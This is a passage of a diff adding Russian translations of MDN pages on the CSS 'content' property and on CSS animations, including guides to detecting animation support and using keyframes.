+ <dd>URL-адрес, указывающий на внешний ресурс (к примеру, изображение). Если ресурс не может быть отображен, он игнорируется или отображается значение по умолчанию.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>{{cssxref("&lt;image&gt;")}}, указанный типом данных {{cssxref("&lt;url&gt;")}} или {{cssxref("&lt;gradient&gt;")}}, или частью веб-страницы, определяемой функцией {{cssxref("element", "element()")}}, указывающей содержимое для обозначения.</dd>
+ <dt>{{cssxref("&lt;counter&gt;")}}</dt>
+ <dd>Значение <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS счетчика</a>, как правило число. Его можно отобразить с помощью функций  {{cssxref("counter()")}} или{{cssxref("counters()")}}.</dd>
+ <dd>
+ <p>Функция <code>counter()</code> имеет две формы записи: 'counter(<var>имя</var>)' или 'counter(<var>имя</var>, <var>стиль</var>)'. Сгенерированный текст - это значение самого вложенного счетчика с заданным именем в области видимости данного элемента. Он отформатирован в указанном стиле (по умолчанию <code>decimal</code>).</p>
+
+ <p>Функция <code>counters()</code> также имеет две формы записи: 'counters(<var>name</var>, <var>string</var>)' или 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. Сгенерированный текст - это значение всех счетчиков с заданным именем в области видимости данного элемента, от крайнего к вложенному. разделенных указанной строкой. Счетчики отображаются в указанном стиле (по умолчанию <code>decimal</code>).</p>
+ </dd>
+ <dt><code>attr(x)</code></dt>
+ <dd>Значение атрибута <code>x</code> элемента в виде строки. Если атрибут <code>x</code> отсутствует, вернется пустая строка. Чувствительность к регистру в названии атрибута зависит от языка документа.</dd>
+ <dt><code>open-quote</code> | <code>close-quote</code></dt>
+ <dd>Эти значения заменяются соответствующей строкой из свойства {{cssxref("quotes")}}.</dd>
+ <dt><code>no-open-quote</code> | <code>no-close-quote</code></dt>
+ <dd>Не вводит никакого содержимого, но увеличивает (уменьшает) уровень вложенности для кавычек.</dd>
+</dl>
+
+<h3 id="Синтаксис_2">Синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Заголовки_и_двойные_кавычки">Заголовки и двойные кавычки</h3>
+
+<p>В этом примере вставляются кавычки вокруг кавычек а добавляет слово  "Глава" перед заголовками.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h1&gt;5&lt;/h1&gt;
+&lt;p&gt;According to Sir Tim Berners-Lee,
+  &lt;q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet"&gt;I was
+    lucky enough to invent the Web at the time when the Internet
+    already existed - and had for a decade and a half.&lt;/q&gt;
+  We must understand that there is nothing fundamentally wrong
+  with building on the contributions of others.
+&lt;/p&gt;
+
+&lt;h1&gt;6&lt;/h1&gt;
+&lt;p&gt;According to the Mozilla Manifesto,
+  &lt;q cite="http://www.mozilla.org/en-US/about/manifesto/"&gt;Individuals
+    must have the ability to shape the Internet and
+    their own experiences on the Internet.&lt;/q&gt;
+  Therefore, we can infer that contributing to the open web
+  can protect our own individual experiences on it.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">q {
+  color: blue;
+}
+
+q::before {
+  content: open-quote;
+}
+
+q::after {
+  content: close-quote;
+}
+
+h1::before  {
+  content: "Chapter ";  /* Пробел в конце создает разделение
+                            между добавленным контентом
+                           и остальным контентом*/
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Заголовки_и_двойные_кавычки', '100%', 200)}}</p>
+
+<h3 id="Изображение_в_сочетании_с_текстом">Изображение в сочетании с текстом</h3>
+
+<p>В этом примере вставляется изображение перед ссылкой. Если изображение не найдено, вставляет текст.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;a href="http://www.mozilla.org/en-US/"&gt;Mozilla Home Page&lt;/a&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">a::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") " MOZILLA: ";
+  font: x-small Arial, sans-serif;
+  color: gray;
+}</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{EmbedLiveSample('Изображение_в_сочетании_с_текстом', '100%', 60)}}</p>
+
+<h3 id="Целевые_классы">Целевые классы</h3>
+
+<p>В этом примере вставляется дополнительный текст после указанных элементов списка.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;Paperback Best Sellers&lt;/h2&gt;
+&lt;ol&gt;
+  &lt;li&gt;Political Thriller&lt;/li&gt;
+  &lt;li class="new-entry"&gt;Halloween Stories&lt;/li&gt;
+  &lt;li&gt;My Biography&lt;/li&gt;
+  &lt;li class="new-entry"&gt;Vampire Romance&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.new-entry::after {
+  content: " New!";  /* Начальный пробел создает разделение
+                        между добавленным контентом
+                        и остальным контентом */
+  color: red;
+}</pre>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{EmbedLiveSample('Целевые_классы', '100%', 160)}}</p>
+
+<h3 id="Атрибуты_изображений_и_элементов">Атрибуты изображений и элементов</h3>
+
+<p>В этом примере вставляется изображение перед каждой ссылкой и добавляет <code>id</code> атрибут после.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a id="moz" href="http://www.mozilla.org/"&gt;
+    Mozilla Home Page&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a id="mdn" href="https://developer.mozilla.org/"&gt;
+    Mozilla Developer Network&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">a {
+  text-decoration: none;
+  border-bottom: 3px dotted navy;
+}
+
+a::after {
+  content: " (" attr(id) ")";
+}
+
+#moz::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico") ;
+}
+
+#mdn::before {
+  content: url("https://mdn.mozillademos.org/files/7691/mdn-favicon16.png") ;
+}
+
+li {
+  margin: 1em;
+}
+</pre>
+
+<h4 id="Результат_4">Результат</h4>
+
+<p>{{EmbedLiveSample('Атрибуты_изображений_и_элементов', '100%', 160)}}</p>
+
+<h3 id="Замена_элемента">Замена элемента</h3>
+
+<p>В этом примере содержимое элемента заменяется изображением. Вы можете заменить содержимое элемента либо значением &lt;url&gt; или изменить значение &lt;image&gt; . Содержимое, добавленное с помощью ::before или ::after не будет сгенерировано, поскольку содержимое элемента будет заменено.</p>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;div id="replaced"&gt;Mozilla&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css">#replaced {
+  content: url("https://mdn.mozillademos.org/files/12668/MDN.svg");
+}
+
+#replaced::after { /* не будет отображаться, если замена элемента поддерживается */
+  content: " (" attr(id) ")";
+}</pre>
+
+<h4 id="Результат_5">Результат</h4>
+
+<p>{{EmbedLiveSample('Замена_элемента', '100%', 160)}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Сгенерированный CSS контент не включен в <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Из-за этого он не будет представлен в  <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">accessibility tree</a> и некоторые комбинации вспомогательных технологий/браузеров не будут его объявлять. Если контент содержит информацию, которая имеет решающее значение для понимания цели страницы, лучше включить ее в основной документ.</p>
+
+<ul>
+ <li><a href="https://tink.uk/accessibility-support-for-css-generated-content/">Accessibility support for CSS generated content – Tink</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Explanation of WCAG, Guideline 1.3 – MDN</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html">Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Content", "#content-property", "content")}}</td>
+   <td>{{Spec2("CSS3 Content")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "generate.html#content", "content")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.content")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("::after")}}</li>
+ <li>{{Cssxref("::before")}}</li>
+ <li>{{Cssxref("quotes")}}</li>
+</ul>
diff --git a/files/ru/web/css/css_animations/detecting_css_animation_support/index.html b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
new file mode 100644
index 0000000000..785f85c87c
--- /dev/null
+++ b/files/ru/web/css/css_animations/detecting_css_animation_support/index.html
@@ -0,0 +1,91 @@
+---
+title: Detecting CSS animation support
+slug: Web/CSS/CSS_Animations/Detecting_CSS_animation_support
+translation_of: Web/CSS/CSS_Animations/Detecting_CSS_animation_support
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS-анимации позволяют создавать креативные анимации контента, используя только CSS. Однако, скорее всего, будут случаи, когда эта функция недоступна, и вам придется решать эти задачи с помощью кода JavaScript, чтобы получить аналогичный эффект. Эта статья, основанная на посте в блоге Криса Хайльмана, демонстрирует такую технику.</p>
+
+<h2 id="Тестирование_поддержки_анимации_CSS">Тестирование поддержки анимации CSS</h2>
+
+<p>Этот код проверит, доступна ли поддержка анимации CSS:</p>
+
+<pre class="brush: js">var animation = false,
+    animationstring = 'animation',
+    keyframeprefix = '',
+    domPrefixes = 'Webkit Moz O ms Khtml'.split(' '),
+    pfx  = '',
+    elem = document.createElement('div');
+
+if( elem.style.animationName !== undefined ) { animation = true; }
+
+if( animation === false ) {
+  for( var i = 0; i &lt; domPrefixes.length; i++ ) {
+    if( elem.style[ domPrefixes[i] + 'AnimationName' ] !== undefined ) {
+      pfx = domPrefixes[ i ];
+      animationstring = pfx + 'Animation';
+      keyframeprefix = '-' + pfx.toLowerCase() + '-';
+      animation = true;
+      break;
+    }
+  }
+}
+</pre>
+
+<p>Для начала мы определим несколько переменных. Мы предполагаем, что анимация не поддерживается установкой значения animation в false. Мы устанавливаем строке для <code>animationstring</code> - <code>animation</code> , которая является свойством, которое мы хотим установить позже. Мы создаем массив префиксов браузера для циклического перебора и устанавливаем pfx в пустую строку.</p>
+
+<p>Затем мы проверяем, установлено ли свойство CSS {{cssxref("animation-name")}} в коллекции стилей для элемента, заданного переменной elem. Это означает, что браузер поддерживает CSS-анимацию без какого-либо префикса, чего на сегодняшний день никто из них не делает..</p>
+
+<p>Если браузер не поддерживает анимацию без префиксов и анимация по-прежнему ложна, мы перебираем все возможные префиксы, так как все основные браузеры в настоящее время префиксируют это свойство и меняют его имя на <code>AnimationName</code> .</p>
+
+<p>После завершения выполнения этого кода значение анимации будет равно false, если поддержка CSS-анимации недоступна, или true. Если это верно, то и имя свойства анимации, и keyframe prefix будут правильными. Таким образом, если вы используете новый Firefox, свойство будет <code>MozAnimation</code> и префикс ключевого кадра <code>-moz-</code> и с Chrome будет <code>WebkitAnimation</code> и <code>-webkit-</code>. Обратите внимание, что браузеры не делают это легко с переключением между camelCase и переносом.</p>
+
+<h2 id="Анимация_с_использованием_правильного_синтаксиса_для_разных_браузеров">Анимация с использованием правильного синтаксиса для разных браузеров</h2>
+
+<p>Теперь, когда вы знаете, поддерживается CSS-анимация или нет, мы можем анимировать.</p>
+
+<pre class="brush: js">if( animation === false ) {
+
+  // animate in JavaScript fallback
+
+} else {
+  elem.style[ animationstring ] = 'rotate 1s linear infinite';
+
+  var keyframes = '@' + keyframeprefix + 'keyframes rotate { '+
+                    'from {' + keyframeprefix + 'transform:rotate( 0deg ) }'+
+                    'to {' + keyframeprefix + 'transform:rotate( 360deg ) }'+
+                  '}';
+
+  if( document.styleSheets &amp;&amp; document.styleSheets.length ) {
+
+      document.styleSheets[0].insertRule( keyframes, 0 );
+
+  } else {
+
+    var s = document.createElement( 'style' );
+    s.innerHTML = keyframes;
+    document.getElementsByTagName( 'head' )[ 0 ].appendChild( s );
+
+  }
+
+}
+</pre>
+
+<p>Этот код определяет значение анимации; если оно ложно, мы знаем, что нам нужно использовать альтернативный код JavaScript для выполнения нашей анимации. В противном случае мы можем использовать JavaScript для создания желаемых анимационных эффектов CSS.</p>
+
+<p>Установка свойства анимации очень проста; просто обновите его значение в коллекции стилей. Однако добавление ключевых кадров сложнее, так как они не определяются с помощью традиционного синтаксиса CSS (что делает их более гибкими, но труднее определить из скрипта).</p>
+
+<p>Чтобы определить наши ключевые кадры с помощью JavaScript, нам нужно записать их в виде строки CSS. Все, что мы делаем, - это устанавливаем переменную keyframes, добавляя префиксы к каждому атрибуту по мере его построения. Эта переменная, будучи однажды сконструированной, содержит полное описание всех ключевых кадров, необходимых для нашей последовательности анимации.</p>
+
+<p>Следующая задача-фактически добавить ключевые кадры в CSS страницы. Первое, что нужно сделать, это посмотреть, есть ли уже таблица стилей в документе; если да, то мы просто вставляем описание ключевого кадра в эту таблицу стилей; это делается в строках 13-15.</p>
+
+<p>Если таблицы стилей еще нет, то создается новый элемент {{HTMLElement("style")}}, а его содержимое устанавливается в значение keyframes. Затем новый элемент {{HTMLElement("style")}} вставляется в документ {{HTMLElement("head")}}, тем самым добавляя новую таблицу стилей в документ.</p>
+
+<p><a href="https://jsfiddle.net/codepo8/ATS2S/8/embedded/result">View on JSFiddle</a></p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS animations</a></li>
+</ul>
diff --git a/files/ru/web/css/css_animations/index.html b/files/ru/web/css/css_animations/index.html
new file mode 100644
index 0000000000..da1fc8dd8e
--- /dev/null
+++ b/files/ru/web/css/css_animations/index.html
@@ -0,0 +1,136 @@
+---
+title: CSS Animations
+slug: Web/CSS/CSS_Animations
+tags:
+  - CSS
+  - CSS Animations
+  - Experimental
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Animations
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p><strong>CSS Анимации</strong> - это модуль CSS, который позволяет анимировать изменение значений CSS-свойств, используя опорные кадры (<em>keyframes</em>). Для управления поведением таких анимаций можно задать хронометражную функцию, длительность, количество повторов и другие аттрибуты.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation")}}</li>
+ <li>{{cssxref("animation-delay")}}</li>
+ <li>{{cssxref("animation-direction")}}</li>
+ <li>{{cssxref("animation-duration")}}</li>
+ <li>{{cssxref("animation-fill-mode")}}</li>
+ <li>{{cssxref("animation-iteration-count")}}</li>
+ <li>{{cssxref("animation-name")}}</li>
+ <li>{{cssxref("animation-play-state")}}</li>
+ <li>{{cssxref("animation-timing-function")}}</li>
+</ul>
+</div>
+
+<h3 id="CSS_At-rules">CSS At-rules</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@keyframes")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Animations/Detecting_CSS_animation_support">Как определить, поддерживаются ли CSS-анимации</a></dt>
+ <dd>Описаны техники определения того, поддерживает ли браузер CSS-анимации.</dd>
+ <dt><a href="/ru/docs/Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy">Использование CSS-анимаций</a></dt>
+ <dd>Пошаговое руководство по созданию анимаций с помощью CSS. Статья описывает все касающиеся анимации CSS-свойства и @-правила и объясняет, как они взаимодействуют друг с другом.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    43.0</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.10<sup>[2]</sup></td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1 {{property_prefix("-webkit")}} [1]<br>
+    4.0 {{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Partial support: {{cssxref("animation-fill-mode")}} property is not supported in Android browser below 2.3.</p>
+
+<p>[2] See the <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">release notes to Opera 12.50</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related to CSS Animations, <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS Transitions</a> can trigger animations on user actions.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/css/css_animations/ispolzovanie_css_animatciy/index.html b/files/ru/web/css/css_animations/ispolzovanie_css_animatciy/index.html
new file mode 100644
index 0000000000..05f6cb5cec
--- /dev/null
+++ b/files/ru/web/css/css_animations/ispolzovanie_css_animatciy/index.html
@@ -0,0 +1,388 @@
+---
+title: Использование CSS-анимации
+slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy
+tags:
+  - Advanced
+  - CSS
+  - CSS Animations
+  - Example
+  - Experimental
+  - Guide
+translation_of: Web/CSS/CSS_Animations/Using_CSS_animations
+---
+<p>{{SeeCompatTable}}{{CSSRef}}</p>
+
+<p><span class="seoSummary">CSS анимации позволяют анимировать переходы от одной конфигурации CSS стилей к другой.</span> CSS-анимации состоят из двух компонентов: стилевое описание анимации и набор ключевых кадров, определяющих начальное, конечное и, возможно, промежуточное состояние анимируемых стилей.</p>
+
+<p>Есть три преимущества CSS-анимации перед традиционными способами:</p>
+
+<ol>
+ <li>Простота использования для простых анимаций; Вы можете создать анимацию, не зная JavaScript.</li>
+ <li>Анимации будут хорошо работать даже при умеренных нагрузках системы. Простые анимации на JavaScript, если они плохо написаны, часто выполняются плохо. Движок может использовать frame-skipping и другие техники, чтобы сохранить производительность на таком высоком уровне .</li>
+ <li>Позволяет браузеру контролировать последовательность анимации, тем самым оптимизируя производительность и эффективность браузера. Например, уменьшая частоту обновления кадров анимации в непросматриваемых в данный момент вкладках.</li>
+</ol>
+
+<h2 id="Конфигурирование_анимации">Конфигурирование анимации</h2>
+
+<p>Чтобы создать CSS-анимацию Вы должны добавить в стиль элемента, который хотите анимировать, свойство {{ cssxref("animation") }} или его подсвойства. Это позволит Вам настроить ускорение и продолжительность анимации, а также другие детали того, как анимация должна протекать. Это не поможет Вам настроить внешний вид анимации, который настраивается с помощью {{ cssxref("@keyframes") }}, рассматриваемой далее в {{ anch("Определение последовательности анимации с помощью ключевых кадров") }}.</p>
+
+<p>Свойство {{ cssxref("animation") }} имеет следующие подсвойства:</p>
+
+<dl>
+ <dt>{{ cssxref("animation-name") }}</dt>
+ <dd>Определяет имя {{ cssxref("@keyframes") }}, настраивающего кадры анимации.</dd>
+ <dt>{{ cssxref("animation-duration") }}</dt>
+ <dd>Определяет время, в течение которого должен пройти один цикл анимации.</dd>
+ <dt>{{ cssxref("animation-timing-function") }}</dt>
+ <dd>Настраивает ускорение анимации.</dd>
+ <dt>{{ cssxref("animation-delay") }}</dt>
+ <dd><span id="result_box" lang="ru"><span class="hps">Настраивает</span> <span class="hps">задержку</span> <span class="hps">между временем загрузки элемента и временем начала анимации</span></span>.</dd>
+ <dt>{{ cssxref("animation-iteration-count") }}</dt>
+ <dd>Определяет количество повторений анимации; Вы можете использовать значение <code>infinite</code> для бесконечного повторения анимации.</dd>
+ <dt>{{ cssxref("animation-direction") }}</dt>
+ <dd>Дает возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.</dd>
+ <dt>{{ cssxref("animation-fill-mode") }}</dt>
+ <dd>Настраивает значения, используемые анимацией, до и после исполнения.</dd>
+ <dt>{{ cssxref("animation-play-state") }}</dt>
+ <dd>Позволяет приостановить и возобновить анимацию.</dd>
+</dl>
+
+<h2 id="Определение_последовательности_анимации_с_помощью_ключевых_кадров">Определение последовательности анимации с помощью ключевых кадров</h2>
+
+<p><span id="result_box" lang="ru"><span class="hps">После того, как</span> <span class="hps">вы настроили</span> <span class="hps">временные свойства (продолжительность, ускорение)</span> <span class="hps">анимации</span><span>, вы</span> <span class="hps">должны определить</span> <span class="hps">внешний вид</span> <span class="hps">анимации</span></span>. Это делается с помощью двух и более ключевых кадров после {{ cssxref("@keyframes") }}. Каждый кадр описывает, как должен выглядеть анимированный элемент в текущий момент.</p>
+
+<p>В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% ее конец. Так как эти значения очень важны, то для них придумали специальные слова: <code>from</code> и <code>to</code>.</p>
+
+<p>Вы также можете добавить ключевые кадры, характеризующие промежуточное состояние анимации.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<div class="note"><strong>Внимание:</strong> Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своем браузере, также содержат префиксы -webkit-.</div>
+
+<h3 id="Скольжение_текста">Скольжение текста</h3>
+
+<p>Этот простой пример анимирует скольжение текста в элементе {{ HTMLElement("p") }} от правого края окна браузера.</p>
+
+<p>Обратите внимание на то, что анимация может сделать страницу шире, чем окно браузера. Этого можно избежать, поместив элемент, который будет анимироваться, в контейнер и установив ему свойство {{cssxref("overflow")}}<code>: hidden</code>.</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<p>В стиле для элемента {{ HTMLElement("p") }} с помощью свойства {{ cssxref("animation-duration") }} указано, что исполнение анимации от начала до конца должно занять 3 с , и что имя для  {{ cssxref("@keyframes") }}, описывающей саму анимацию, определено как "slidein".</p>
+
+<p>В элемент {{ HTMLElement("p") }} можно добавлять и другие пользовательские стили, чтобы как-то украсить его, однако здесь мы хотели продемонстрировать только эффект анимации.</p>
+
+<p>Kлючевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (<code>from</code>). Здесь мы придаем элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .</p>
+
+<p>Второй ключевой кадр (to) определяет конец анимации, т.е (100%). Левый отступ устанавливается равным 0, а ширина 100%. Все выглядит так, будто заголовок {{ HTMLElement("p") }} приплывает к левому краю окна браузера.</p>
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)</p>
+
+<p>{{EmbedLiveSample("Скольжение_текста","100%","250")}}</p>
+
+<h3 id="Добавление_других_ключевыч_кадров">Добавление других ключевыч кадров</h3>
+
+<p>Давайте добавим другие ключевые кадры в предыдущий пример. Скажем, мы хотим чтобы размер шрифта заголовка временно увеличивался по мере продвижения влево, а потом возращался к первоначальному значению . Это легко реализовать с помощью следующего ключевого кадра:</p>
+
+<pre class="brush: css">75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+</pre>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+
+  75% {
+    font-size: 300%;
+    margin-left: 25%;
+    width: 150%;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>Это говорит браузеру о том, что при 75% выполнения анимации, шрифт должен быть 300%, а ширина 150%.</p>
+
+<p>(Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)</p>
+
+<p>{{ EmbedLiveSample('Добавление_других_ключевыч_кадров', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}</p>
+
+<h3 id="Настройка_повторения">Настройка повторения</h3>
+
+<p>Чтобы настроить повторение, нужно добавить свойство {{ cssxref("animation-iteration-count") }} и задать ему значение, равное нужному количеству повторений анимаций . В данном случае давайте установим значение <code>infinite</code> для бесконечного повторения:</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+</pre>
+
+<pre class="brush: css">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Настройка_повторения","100%","250")}}</p>
+
+<h3 id="Движение_текста_вправо_и_влево">Движение текста вправо и влево</h3>
+
+<p>Итак, мы настроили повторение, но получили нечто странное: текст при каждом повторении снова "запрыгивает" за край окна браузера. То, чего мы хотим, так это чтобы текст двигался влево и вправо. Этого легко достичь с помощью установки свойству {{ cssxref("animation-direction") }} значения <code>alternate</code>:</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+</pre>
+
+<pre class="brush: css">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Движение_текста_вправо_и_влево', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}</p>
+
+<h3 id="Использование_шорткодов">Использование шорткодов</h3>
+
+<p>Шорткод {{cssxref("animation")}} полезен для экономии места в коде. Например, правило, которое мы используем в этой статье:</p>
+
+<pre><code>p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}</code></pre>
+
+<p>можно заменить на:</p>
+
+<pre><code>p {
+  animation: 3s infinite alternate slidein;
+}</code></pre>
+
+<div class="blockIndicator note">
+<p><strong>Внимание</strong>: подробнее об этом на странице раздела {{cssxref("animation")}} </p>
+</div>
+
+<h3 id="Установка_нескольких_значений_свойствам_анимации">Установка нескольких значений свойствам анимации  </h3>
+
+<p>CSS cвойство анимации может иметь несколько значений, разделенных запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.</p>
+
